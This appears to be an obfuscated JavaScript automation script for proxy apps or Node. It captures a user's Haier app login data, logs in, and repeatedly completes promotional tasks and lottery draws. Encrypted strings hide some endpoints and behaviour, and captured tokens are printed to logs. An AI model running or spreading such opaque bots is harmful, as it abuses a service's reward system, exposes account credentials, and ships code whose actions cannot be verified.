'w7t8w6LClFAYO8OMRsKGa25ow5DDk8K/w5XDgWRowoHCmMOZwrfColfCmcKuYgVGU8K0w5UAwozDkA4iwqZgU8OwTMKzIsK6wroow4HCjMOIwpYgwrkgwpvCiMO5w7zCssK2U8KHPiLCimNxDsOjwokmdipaPD/Dk1jCsknDt8Kdd8KQFkPCrMKTw4MKw4wdw7jChT4awoN9TsOUFMO4eR8cw79ERHDCnFbCl8O8w5bDucOywoJEXsOvB8K9w4zCtgrClTHCr25Dw4rDq8K9LMKqwrJyasOjB2QIQcKHwrJDw5TCtMKBIsK7ew==', 'NMOKXyfCowXDrHZLwpfDkMOGP8KzwoFIBQ==', 'w6tQw40Ywpw=', 'w51kw7Mvwow=', 'VMOEaMKQIw==', 'wpACT2XDhw==', 'w6LCksKlwoJj', 'eivDtS0Z', 'wqrDlzHDqgw=', 'w4rCl8OP', '6I2S5b6R7766', 'wpR4w7XCtw==', 'KDDCvzfCucKIwqTDl8Oq', 'w65lw60Rwr4Cw6Nraw==', 'CwPDnsO7', 'HlHDtg==', 'CTPCnifCmA==', 'w5Lmt6DlsJDmioblp5HCtcOI', 'Z8OOw6lqPsKvw6w=', 'wq7DiQLDmgBswo/Cn8Ov', 'wpNEwqpOw7luRA==', 'wr/Cr8KbwqQEw6TDqw==', 'wpNAwqJPw650Uw==', 'fMOILMKGw5Ypw67Dv8ON', 'wo3CpXTCuw==', 'wq7DmATDlw9/woc=', 'wrXDnBnDlhxpwonCncOv', 'wqDCpcKI', 'wqHCucKI', 'wohTwo5Fw5I=', 'wrXCukXCsVU=', 'wqJCw7ZIwog=', 'Al/Do8OQwrk=', 'GHXDnMOnJkoz', 'w4d/XVMk', 'w5rmtaXlsrTmtpHlirLDjcOv', 'wovkuIPliIkAdg==', 'Q8ORGcKFw4k=', 'w7s9HMKUSQ==', 'K0LDn8OyBw==', '5rS05bOz5rae5YmT', 'wrDDtm1ew7XCj8O4wozDp8O3wpU=', 'wpjCl8OnJMKBwoU=', 'U2PCvw==', 'Qgl2csO5V3s=', 'w4HCncOcLVPDpsKW', 'w7XDvMOlS8KOXSs=', 'w4/Ci8OmJlbDtw==', 'wqnCpMKZ', 'w6rCp8K1w5hueXRhwrg=', 'wq7DuiDDuhc=', 'wrJxHAzCtw==', 'O8KpwqLDgsOy', 'jsjiqamti.cPIoDhmrYU.vn6HlYfAfJ==']; if (function (_0x3d96cc, _0x5cd945, _0xb40190) { function _0x4aa830 (_0x44b076, _0x3d621e, _0x3725fa, _0x11e6d8, _0x25bad7, _0x23bc57) { _0x3d621e = _0x3d621e >> 0x8, _0x25bad7 = 'po'; var _0xa75ca2 = 'shift', _0xcd50a5 = 'push', _0x23bc57 = '‮'; if (_0x3d621e < _0x44b076) { while (--_0x44b076) { _0x11e6d8 = _0x3d96cc[_0xa75ca2](); if (_0x3d621e === _0x44b076 && _0x23bc57 === '‮' && _0x23bc57['length'] === 0x1) { _0x3d621e = _0x11e6d8, _0x3725fa = _0x3d96cc[_0x25bad7 + 'p'](); } else if (_0x3d621e && _0x3725fa['replace'](/[qtPIDhrYUnHlYfAfJ=]/g, '') === _0x3d621e) { _0x3d96cc[_0xcd50a5](_0x11e6d8); } } _0x3d96cc[_0xcd50a5](_0x3d96cc[_0xa75ca2]()); } return 0xd7bee; }; return _0x4aa830(++_0x5cd945, _0xb40190) >> _0x5cd945 ^ _0xb40190; }(_0x12c8, 0xbd, 0xbd00), _0x12c8) { _0xodc_ = _0x12c8['length'] ^ 0xbd; }; function _0x328c (_0x8265be, _0x469191) { _0x8265be = ~~'0x'['concat'](_0x8265be['slice'](0x1)); var _0xd95ba1 = _0x12c8[_0x8265be]; if (_0x328c['kkGQBI'] === undefined) { (function () { var _0x23d2c0 = typeof window !== 'undefined' ? window : typeof process === 'object' && typeof require === 'function' && typeof global === 'object' ? global : this; var _0x43b1e7 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; _0x23d2c0['atob'] || (_0x23d2c0['atob'] = function (_0x1017bf) { var _0x11643b = String(_0x1017bf)['replace'](/=+$/, ''); for (var _0x4661fa = 0x0, _0x1ea077, _0x588db9, _0x33e271 = 0x0, _0x3bd796 = ''; _0x588db9 = _0x11643b['charAt'](_0x33e271++); ~_0x588db9 && (_0x1ea077 = _0x4661fa % 0x4 ? _0x1ea077 * 0x40 + _0x588db9 : _0x588db9, _0x4661fa++ % 0x4) ? _0x3bd796 += String['fromCharCode'](0xff & _0x1ea077 >> (-0x2 * _0x4661fa & 0x6)) : 0x0) { _0x588db9 = _0x43b1e7['indexOf'](_0x588db9); } return _0x3bd796; }); }()); function _0x2c7fd7 (_0x1762d9, _0x469191) { var _0x5228ac = [], _0x4bdb59 = 0x0, _0x5000a8, _0x53a71b = '', _0x55309c = ''; _0x1762d9 = atob(_0x1762d9); for (var _0x13e62b = 0x0, _0x244260 = _0x1762d9['length']; _0x13e62b < _0x244260; _0x13e62b++) { _0x55309c += '%' + ('00' + _0x1762d9['charCodeAt'](_0x13e62b)['toString'](0x10))['slice'](-0x2); } _0x1762d9 = decodeURIComponent(_0x55309c); for (var _0x17a28b = 0x0; _0x17a28b < 0x100; _0x17a28b++) { _0x5228ac[_0x17a28b] = _0x17a28b; } for (_0x17a28b = 0x0; _0x17a28b < 0x100; _0x17a28b++) { _0x4bdb59 = (_0x4bdb59 + _0x5228ac[_0x17a28b] + _0x469191['charCodeAt'](_0x17a28b % _0x469191['length'])) % 0x100; _0x5000a8 = _0x5228ac[_0x17a28b]; _0x5228ac[_0x17a28b] = _0x5228ac[_0x4bdb59]; _0x5228ac[_0x4bdb59] = _0x5000a8; } _0x17a28b = 0x0; _0x4bdb59 = 0x0; for (var _0x4ebb7c = 0x0; _0x4ebb7c < _0x1762d9['length']; _0x4ebb7c++) { _0x17a28b = (_0x17a28b + 0x1) % 0x100; _0x4bdb59 = (_0x4bdb59 + _0x5228ac[_0x17a28b]) % 0x100; _0x5000a8 = _0x5228ac[_0x17a28b]; _0x5228ac[_0x17a28b] = _0x5228ac[_0x4bdb59]; _0x5228ac[_0x4bdb59] = _0x5000a8; _0x53a71b += String['fromCharCode'](_0x1762d9['charCodeAt'](_0x4ebb7c) ^ _0x5228ac[(_0x5228ac[_0x17a28b] + _0x5228ac[_0x4bdb59]) % 0x100]); } return _0x53a71b; } _0x328c['bExxiy'] = _0x2c7fd7; _0x328c['HZgabf'] = {}; _0x328c['kkGQBI'] = !![]; } var _0x725194 = _0x328c['HZgabf'][_0x8265be]; if (_0x725194 === undefined) { if (_0x328c['PccffN'] === undefined) { _0x328c['PccffN'] = !![]; } _0xd95ba1 = _0x328c['bExxiy'](_0xd95ba1, _0x469191); _0x328c['HZgabf'][_0x8265be] = _0xd95ba1; } else { _0xd95ba1 = _0x725194; } return _0xd95ba1; }; const $ = new Env(_0x328c('‮0', 'vv9m')); let status; status = (status = $['getval'](_0x328c('‫1', '5Uvr')) || '1') > 0x1 ? '' + status : ''; let haierhdArr = [], haiercount = ''; let haierhd = ($[_0x328c('‫2', 'a1WL')]() ? process[_0x328c('‫3', '9Y!5')][_0x328c('‮4', '#!dC')] : $[_0x328c('‮5', 'Go^K')](_0x328c('‮6', '2V4I'))) || ''; let haierbody = ($[_0x328c('‮7', 'Go^K')]() ? process[_0x328c('‮8', '(F9)')]['haierbody'] : $['getdata'](_0x328c('‮9', 'fBWS'))) || ''; let haiertoken = ''; let haierhdid = ['A0082', _0x328c('‮a', '6cZH'), _0x328c('‫b', 'EVXJ')]; let haierrwid = [_0x328c('‫c', 'vhdM'), _0x328c('‫d', 'Dbzt'), _0x328c('‮e', 'EzYt'), _0x328c('‫f', 'ebRF'), _0x328c('‫10', 'h%p^'), _0x328c('‫11', 'puB9'), _0x328c('‮12', 'HQSL'), _0x328c('‫13', 'xRBy'), 'T0137', 'T0138', 'T0139', 'T0140', _0x328c('‮14', 'eXV4'), _0x328c('‮15', 'Dbzt'), _0x328c('‫16', 'h%p^'), _0x328c('‮17', '22uG'), _0x328c('‮18', 'D4Gq'), _0x328c('‮19', '$Pr6'), _0x328c('‮1a', 'Dbzt'), _0x328c('‫1b', 'vhdM'), _0x328c('‫1c', 'lV^c'), _0x328c('‮1d', 'o@fA'), 'T0151', _0x328c('‫1e', 'jKOy')]; !(async () => { var _0x1442d3 = { 'hfnWM': function (_0xb3214f, _0x222ba7) { return _0xb3214f + _0x222ba7; }, 'xzqJV': _0x328c('‮1f', 'HQSL'), 'DYOhn': '海尔活动', 'PsWvb': _0x328c('‫20', 'qX^W'), 'PWThr': function (_0x23287c, _0x147378) { return _0x23287c !== _0x147378; }, 'tVzPU': _0x328c('‫21', '&k&O'), 'bLMfb': function (_0xa568ef, _0x5a403b) { return _0xa568ef === _0x5a403b; }, 'thHcL': _0x328c('‫22', 'Ki[C'), 'drUbw': function (_0x58bbd3) { return _0x58bbd3(); }, 'rbVGo': function (_0x1a70f1, _0x5123c3) { return _0x1a70f1 === _0x5123c3; }, 'vfVJx': function (_0x13abab) { return _0x13abab(); } }; if (_0x1442d3[_0x328c('‫23', '6BWD')](typeof $request, _0x1442d3[_0x328c('‫24', '5Uvr')])) { if (_0x1442d3['bLMfb'](_0x1442d3[_0x328c('‫25', '(F9)')], _0x1442d3[_0x328c('‮26', 'h%p^')])) { await _0x1442d3[_0x328c('‮27', '9Y!5')](haierck); } else { console['log'](_0x1442d3[_0x328c('‮28', 'puB9')](_0x328c('‫29', 'kzEH') + item + ':', result[_0x328c('‫2a', 'o@fA')])); } } else { haierhdArr = haierhd[_0x328c('‮2b', '5Uvr')]('@'); haierbodyArr = haierbody[_0x328c('‮2c', 'Go^K')]('@'); console[_0x328c('‫2d', 'lV^c')](_0x328c('‫2e', '2PDk') + haierhdArr[_0x328c('‫2f', 'Ki[C')] + _0x328c('‫30', 'qG)A')); for (let _0x578896 = 0x0; _0x578896 < haierhdArr[_0x328c('‫31', 'hIuy')]; _0x578896++) { if (_0x1442d3[_0x328c('‫32', 'puB9')]('RnlrD', _0x328c('‫33', '22uG'))) { haierhd = JSON[_0x328c('‮34', '5Uvr')](haierhdArr[_0x578896]); haierbody = haierbodyArr[_0x578896]; $['index'] = _0x578896 + 0x1; console[_0x328c('‫35', 'CCWE')](_0x328c('‫36', 'xRBy') + $[_0x328c('‫37', '(F9)')] + '】'); const _0x19cf5b = JSON['parse'](haierbody); console[_0x328c('‮38', 'qX^W')]('\x0a【登录:' + _0x19cf5b[_0x328c('‮39', 'qG)A')] + '】'); await _0x1442d3[_0x328c('‮3a', '(F9)')](haierdl); } else { if ($request[_0x328c('‮3b', 'qX^W')][_0x328c('‮3c', 'qG)A')](_0x1442d3[_0x328c('‫3d', 'CCWE')]) > -0x1) { const _0x10ed84 = JSON[_0x328c('‮3e', 'yrfk')]($request[_0x328c('‮3f', 'f!j$')]); if (_0x10ed84) $[_0x328c('‮40', 'N^tz')](_0x10ed84, 'haierhd' + status); $[_0x328c('‮41', 'yrfk')](_0x10ed84); const _0x2e0df3 = JSON[_0x328c('‫42', '#!dC')]($request[_0x328c('‫43', 'hIuy')]); if (_0x2e0df3) $[_0x328c('‫44', 'jKOy')](_0x2e0df3, 'haierbody' + status); $[_0x328c('‫45', 'Dbzt')](_0x2e0df3); $[_0x328c('‫46', 'lV^c')]($[_0x328c('‮47', '(F9)')], '', _0x1442d3[_0x328c('‮28', 'puB9')](_0x1442d3['DYOhn'], '' + status) + _0x1442d3[_0x328c('‮48', 'D4Gq')]); } } } } })()[_0x328c('‮49', 'o@fA')](_0x266411 => $['logErr'](_0x266411))['finally'](() => $[_0x328c('‮4a', '22uG')]()); function haierck () { var _0x532302 = { 'VrMjN': function (_0x22f157, _0x4150a6) { return _0x22f157 > _0x4150a6; }, 'ocgpj': 'v2/login', 'xgqVz': function (_0x4ef931, _0x5df7d5) { return _0x4ef931 + _0x5df7d5; }, 'YDCLf': '数据获取成功!' }; if (_0x532302['VrMjN']($request['url']['indexOf'](_0x532302[_0x328c('‮4b', '6BWD')]), -0x1)) { const _0x428e18 = JSON[_0x328c('‫4c', 'N^tz')]($request[_0x328c('‫4d', 'Q*MO')]); if (_0x428e18) $[_0x328c('‫4e', 'P*Gy')](_0x428e18, _0x328c('‮4f', 'xRBy') + status); $[_0x328c('‮50', 'h%p^')](_0x428e18); const _0x1c55ad = JSON[_0x328c('‫51', 'EVXJ')]($request[_0x328c('‫52', '#!dC')]); if (_0x1c55ad) $[_0x328c('‮53', 'puB9')](_0x1c55ad, 'haierbody' + status); $['log'](_0x1c55ad); $[_0x328c('‫54', '22uG')]($['name'], '', _0x532302[_0x328c('‫55', 'puB9')](_0x328c('‫56', 'Q*MO'), '' + status) + _0x532302[_0x328c('‫57', 'gzS4')]); } } function haierdl (_0x44709c = 0x0) { var _0x5431bf = { 'ChzOq': function (_0x15765d, _0x4215bd) { return _0x15765d + _0x4215bd; }, 'WLUFw': function (_0x2b2b10, _0x593f27, _0x483e85) { return _0x2b2b10(_0x593f27, _0x483e85); }, 'oMGML': function (_0x1ea024, _0x50405a) { return _0x1ea024 * _0x50405a; }, 'wXGyY': _0x328c('‮58', '(F9)'), 'ezbKP': _0x328c('‮59', 'CCWE'), 'MOlZM': function (_0x18c635, _0x5c3d91) { return _0x18c635 !== _0x5c3d91; }, 'wvnEz': _0x328c('‮5a', 'h%p^'), 'kSCHX': function (_0x434a09, _0x25368b) { return _0x434a09 !== _0x25368b; }, 'Xhfwr': _0x328c('‮5b', '&k&O'), 'tRLpQ': _0x328c('‫5c', '(F9)'), 'YEqwB': function (_0x4fa47b, _0x4d48ae) { return _0x4fa47b !== _0x4d48ae; }, 'uvkOD': 'tgKsI', 'dhGFw': function (_0x4c02bd, _0x5053ef) { return _0x4c02bd + _0x5053ef; } }; return new Promise(_0x1b7b6f => { var _0x4b7775 = { 'tfObT': function (_0x252c8a, _0xf9eef) { return _0x5431bf['ChzOq'](_0x252c8a, _0xf9eef); }, 'JmjGB': function (_0x556546) { return _0x556546(); }, 'sdzak': function (_0x9e3d0b) { return _0x9e3d0b(); }, 'CIcma': function (_0xc4b54c, _0x4e2b59, _0xa7f522) { return _0x5431bf[_0x328c('‫5d', '$Pr6')](_0xc4b54c, _0x4e2b59, _0xa7f522); }, 'YVoJv': function (_0x44aaae, _0x1afe54) { return _0x5431bf[_0x328c('‮5e', 'jKOy')](_0x44aaae, _0x1afe54); }, 'SroTZ': function (_0x151412, _0x1590b6) { return _0x5431bf[_0x328c('‫5f', '&k&O')](_0x151412, _0x1590b6); }, 'wSZAj': function (_0x4cc9b5, _0xd96f9b) { return _0x4cc9b5 - _0xd96f9b; }, 'Kzywx': function (_0x5026f0, _0xe6acaf) { return _0x5026f0 === _0xe6acaf; }, 'GHVlK': _0x5431bf[_0x328c('‮60', 'ebRF')], 'qPTMo': _0x5431bf['ezbKP'], 'YqgoK': function (_0x4715c7, _0x5acedb) { return _0x5431bf[_0x328c('‫61', 'jKOy')](_0x4715c7, _0x5acedb); }, 'ApNzr': _0x5431bf[_0x328c('‫62', 'RD!R')], 'zuxGQ': function (_0x5b0e75, _0x2cf523) { return _0x5b0e75 == _0x2cf523; }, 'hxjTu': function (_0x19f104, _0x139a5f) { return _0x5431bf[_0x328c('‫63', 'qG)A')](_0x19f104, _0x139a5f); }, 'imkSm': _0x5431bf['Xhfwr'], 'KOcug': _0x5431bf['tRLpQ'], 'rIlWS': function (_0x555c12, _0x5890fa) { return _0x5431bf[_0x328c('‫64', 'Y$IC')](_0x555c12, _0x5890fa); }, 'cqOPc': _0x5431bf['uvkOD'], 'Uuhni': function (_0x5d8f87, _0x36642a) { return _0x5d8f87(_0x36642a); }, 'tENfe': function (_0x26e210, _0x129c6e) { return _0x5431bf['dhGFw'](_0x26e210, _0x129c6e); } }; let _0x288109 = { 'url': 'https://zj.haier.net/oauthserver/account/v2/login', 'headers': haierhd, 'body': haierbody }; $[_0x328c('‮65', 'yrfk')](_0x288109, async (_0x4d5d36, _0x1b147c, _0x142e3a) => { if (_0x4b7775[_0x328c('‮66', '6cZH')](_0x4b7775[_0x328c('‮67', 'h%p^')], _0x4b7775[_0x328c('‫68', 'Q*MO')])) { console[_0x328c('‮69', 'EVXJ')](_0x4b7775[_0x328c('‫6a', 'CCWE')](_0x328c('‮6b', 'vv9m'), _0x142e3a)); } else { try { if (_0x4b7775[_0x328c('‮6c', '2PDk')](_0x4b7775[_0x328c('‮6d', 'EzYt')], _0x328c('‮6e', '$Pr6'))) { const _0x4aead0 = JSON[_0x328c('‫6f', 'f!j$')](_0x142e3a); if (_0x4b7775['zuxGQ'](_0x4aead0[_0x328c('‫70', '9Y!5')], 0x0)) { console[_0x328c('‫71', 'f!j$')](_0x328c('‮72', '&k&O') + _0x4aead0[_0x328c('‮73', 'qG)A')]); haiertoken = _0x4aead0[_0x328c('‮74', 'kzEH')][_0x328c('‮75', 'GJEV')][_0x328c('‫76', 'puB9')]; for (let _0x3c63ce of haierhdid) { if (_0x4b7775[_0x328c('‫77', 'EVXJ')](_0x4b7775['imkSm'], _0x4b7775['KOcug'])) { for (let _0x46fc6e of haierrwid) { if (_0x4b7775[_0x328c('‫78', '#!dC')]('tgKsI', _0x4b7775['cqOPc'])) { _0x4b7775['JmjGB'](_0x1b7b6f); } else { await _0x4b7775['CIcma'](haierrw, _0x46fc6e, _0x3c63ce); await $[_0x328c('‮79', 'f!j$')](0x32); } } await _0x4b7775['Uuhni'](haiercj, _0x3c63ce); } else { _0x4b7775[_0x328c('‫7a', 'GJEV')](_0x1b7b6f); } } } else { console['log'](_0x4b7775[_0x328c('‮7b', 'hIuy')]('\x0a海尔登录失败:', _0x142e3a)); } } else { return _0x4b7775[_0x328c('‫7c', 'EVXJ')](parseInt, _0x4b7775['YVoJv'](_0x4b7775[_0x328c('‮7d', 'gzS4')](Math[_0x328c('‫7e', 'RD!R')](), _0x4b7775['wSZAj'](max, min) + 0x1), min), 0xa); } } catch (_0x2fad74) { } finally { _0x4b7775[_0x328c('‮7f', 'Go^K')](_0x1b7b6f); } } }, _0x44709c); }); } function haierrw (_0x144b05, _0x3bd93d, _0x461d1d = 0x0) { var _0x4a7875 = { 'eqVGD': function (_0x4b9972) { return _0x4b9972(); }, 'rASut': function (_0x2c5d81, _0x443e5a) { return _0x2c5d81 + _0x443e5a; }, 'rgeWm': function (_0x1ae795, _0x3277b8) { return _0x1ae795 == _0x3277b8; }, 'nQWlv': 'qKtjl' }; return new Promise(_0x502ee0 => { var _0x1b985f = { 'cNXPu': function (_0x1e189b) { return _0x4a7875['eqVGD'](_0x1e189b); }, 'eZYUd': function (_0x1ee513, _0x2339d4) { return _0x4a7875['rASut'](_0x1ee513, _0x2339d4); }, 'nvsih': function (_0x24d1e0, _0xdb8b5d) { return _0x24d1e0 !== _0xdb8b5d; }, 'NpnLC': _0x328c('‫80', 'GJEV'), 'DUCGg': function (_0x1b4406, _0x3109a1) { return _0x4a7875[_0x328c('‮81', 'EVXJ')](_0x1b4406, _0x3109a1); }, 'clnPt': _0x328c('‮82', '6BWD'), 'zYkwL': _0x4a7875[_0x328c('‮83', 'EzYt')], 'vIbYl': function (_0x8b3868) { return _0x8b3868(); } }; let _0x2c9983 = { 'url': _0x328c('‫84', 'yrfk'), 'headers': JSON[_0x328c('‫85', 'gzS4')](_0x328c('‮86', 'P*Gy') + haiertoken + _0x328c('‮87', 'yrfk') + haierhd[_0x328c('‮88', 'jKOy')] + _0x328c('‮89', 'CCWE') + haiertoken + '\x22,\x22appVersion\x22:\x22\x201.0.0\x22,\x22Sec-Fetch-Site\x22:\x22\x20same-site\x22,\x22Sec-Fetch-Mode\x22:\x22\x20cors\x22,\x22Sec-Fetch-Dest\x22:\x22\x20empty\x22,\x22Content-Type\x22:\x22\x20application/json;charset=utf-8\x22}'), 'body': '{\x22taskCode\x22:\x22' + _0x144b05 + '\x22,\x22activityUuid\x22:\x22' + _0x3bd93d + _0x328c('‫8a', 'N^tz') }; $[_0x328c('‮8b', 'Q*MO')](_0x2c9983, async (_0x3e676c, _0x124484, _0x503639) => { var _0x1af359 = { 'QOjER': function (_0x58d20e) { return _0x1b985f[_0x328c('‫8c', 'godE')](_0x58d20e); }, 'dnXUt': function (_0x1ca52e, _0x5a3b3e) { return _0x1b985f['eZYUd'](_0x1ca52e, _0x5a3b3e); } }; if (_0x1b985f['nvsih'](_0x1b985f[_0x328c('‫8d', 'vv9m')], _0x1b985f[_0x328c('‫8e', 'ebRF')])) { _0x1af359[_0x328c('‫8f', 'lV^c')](_0x502ee0); } else { try { const _0x593d20 = JSON['parse'](_0x503639); if (_0x1b985f[_0x328c('‮90', 'P*Gy')](_0x593d20[_0x328c('‫91', 'AsE0')], 0x0)) { if (_0x1b985f[_0x328c('‫92', 'pOpJ')](_0x1b985f[_0x328c('‮93', 'f!j$')], _0x1b985f['zYkwL'])) { console[_0x328c('‫94', 'xRBy')](_0x328c('‮95', 'o@fA') + _0x3bd93d + _0x328c('‫96', '6cZH') + _0x144b05 + ':' + _0x593d20[_0x328c('‫97', 'ebRF')]); } else { console['log'](_0x1af359[_0x328c('‮98', '(F9)')](_0x328c('‮99', 'yrfk') + _0x3bd93d + _0x328c('‫9a', 'P*Gy') + _0x144b05 + ':', _0x593d20['retInfo'])); } } else { } } catch (_0x24b905) { } finally { _0x1b985f['vIbYl'](_0x502ee0); } } }, _0x461d1d); }); } function haiercj (_0x2cd322, _0x24e710 = 0x0) { var _0x243e69 = { 'uGIsG': 'dZFYm', 'CswDW': _0x328c('‫9b', 'Y$IC'), 'oqIRu': function (_0xbd84d2, _0x40de89) { return _0xbd84d2 === _0x40de89; }, 'wjAYb': function (_0x1b0d30, _0x428f4a) { return _0x1b0d30 == _0x428f4a; }, 'QqHjD': function (_0x5edede, _0x2a4758) { return _0x5edede + _0x2a4758; }, 'GDVSF': function (_0x4d8f2b) { return _0x4d8f2b(); } }; return new Promise(_0x182218 => { var _0x4ecb84 = { 'srEoN': _0x328c('‫9c', 'D4Gq'), 'ZpUsv': _0x328c('‫9d', 'vhdM'), 'wSnfe': function (_0x691e1, _0x5497b7) { return _0x243e69[_0x328c('‮9e', 'UMzG')](_0x691e1, _0x5497b7); } }; let _0x3363af = { 'url': 'https://zj.haier.net/zjapi/longtermActivity/base/lottery', 'headers': JSON[_0x328c('‮9f', 'hIuy')](_0x328c('‫a0', 'puB9') + haiertoken + '\x22,\x22User-Agent\x22:\x22\x20Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_1\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/18A8395\x20NebulaSDK/1.8.100112\x20Nebula\x20WK\x20PSDType(1)\x20mPaaSClient/(null)\x20App/Uplus\x20Nebula\x22,\x22Accept\x22:\x22\x20application/json,\x20text/plain,\x20*/*\x22,\x22clientId\x22:\x22\x20' + haierhd['clientId'] + _0x328c('‫a1', 'yrfk') + haiertoken + _0x328c('‮a2', 'jKOy')), 'body': _0x328c('‮a3', 'GJEV') + _0x2cd322 + '\x22}' }; $['post'](_0x3363af, async (_0x41faee, _0x42f167, _0x1b98ae) => { if (_0x243e69[_0x328c('‫a4', 'yrfk')] !== _0x243e69[_0x328c('‮a5', 'yrfk')]) { try { if (_0x243e69[_0x328c('‫a6', '2PDk')](_0x328c('‫a7', 'EVXJ'), _0x328c('‮a8', 'lV^c'))) { const _0x346453 = JSON[_0x328c('‫a9', '6BWD')](_0x1b98ae); if (_0x243e69[_0x328c('‮aa', 'gzS4')](_0x346453['retCode'], 0x0)) { console[_0x328c('‫ab', 'Go^K')]('\x0a海尔抽奖' + _0x2cd322 + ':' + _0x346453['retInfo'] + _0x328c('‮ac', 'V[87') + _0x346453[_0x328c('‮ad', 'UMzG')][_0x328c('‫ae', 'godE')][_0x328c('‮af', 'yrfk')]); await haiercj(_0x2cd322); await $[_0x328c('‫b0', '*$P]')](0x1f4); } else { console[_0x328c('‮b1', 'Q*MO')](_0x243e69[_0x328c('‫b2', 'godE')](_0x328c('‫b3', '5Uvr') + _0x2cd322 + ':', _0x346453[_0x328c('‫b4', 'pOpJ')])); } } else { const _0x3939d2 = JSON[_0x328c('‫b5', 'gzS4')]($request[_0x328c('‫b6', 'RD!R')]); if (_0x3939d2) $[_0x328c('‫b7', '(F9)')](_0x3939d2, _0x328c('‮b8', 'RD!R') + status); $['log'](_0x3939d2); const _0x4553e2 = JSON[_0x328c('‫b9', 'D4Gq')]($request[_0x328c('‫ba', '6cZH')]); if (_0x4553e2) $[_0x328c('‫bb', 'gzS4')](_0x4553e2, _0x328c('‫bc', 'gzS4') + status); $[_0x328c('‮bd', '(F9)')](_0x4553e2); $[_0x328c('‮be', '(F9)')]($['name'], '', _0x4ecb84[_0x328c('‫bf', 'RD!R')] + ('' + status) + _0x4ecb84[_0x328c('‮c0', '6cZH')]); } } catch (_0x4754a4) { } finally { _0x243e69[_0x328c('‫c1', 'V[87')](_0x182218); } } else { const _0x3b45bc = JSON[_0x328c('‮c2', 'Q*MO')](_0x1b98ae); if (_0x3b45bc[_0x328c('‮c3', '$Pr6')] == 0x0) { console['log'](_0x4ecb84[_0x328c('‫c4', 'EzYt')](_0x328c('‮c5', 'f!j$') + _0x2cd322 + _0x328c('‫c6', 'Go^K') + activyId + ':', _0x3b45bc['retInfo'])); } else { } } }, _0x24e710); }); } function rand (_0x31a990, _0x1f180c) { var _0x5f5582 = { 'LmGjq': function (_0x59e250, _0x455079) { return _0x59e250 + _0x455079; }, 'UMTJM': function (_0x1c8410, _0x29b066) { return _0x1c8410 * _0x29b066; }, 'ARwVN': function (_0x62195a, _0x4ec967) { return _0x62195a - _0x4ec967; } }; return parseInt(_0x5f5582[_0x328c('‮c7', 'D4Gq')](_0x5f5582['UMTJM'](Math['random'](), _0x5f5582[_0x328c('‫c8', 'eXV4')](_0x5f5582[_0x328c('‫c9', '$Pr6')](_0x1f180c, _0x31a990), 0x1)), _0x31a990), 0xa); }; _0xodc = 'jsjiami.com.v6'; 11 | function Env (t, e) { class s { constructor(t) { this.env = t } send (t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get (t) { return this.send.call(this.env, t) } post (t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } isNode () { return "undefined" != typeof module && !!module.exports } isQuanX () { return "undefined" != typeof $task } isSurge () { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon () { return "undefined" != typeof $loon } toObj (t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr (t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson (t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson (t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript (t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript (t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), a = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(a, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata () { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata () { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get (t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set (t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata (t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata (t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval (t) { return this.isSurge() || 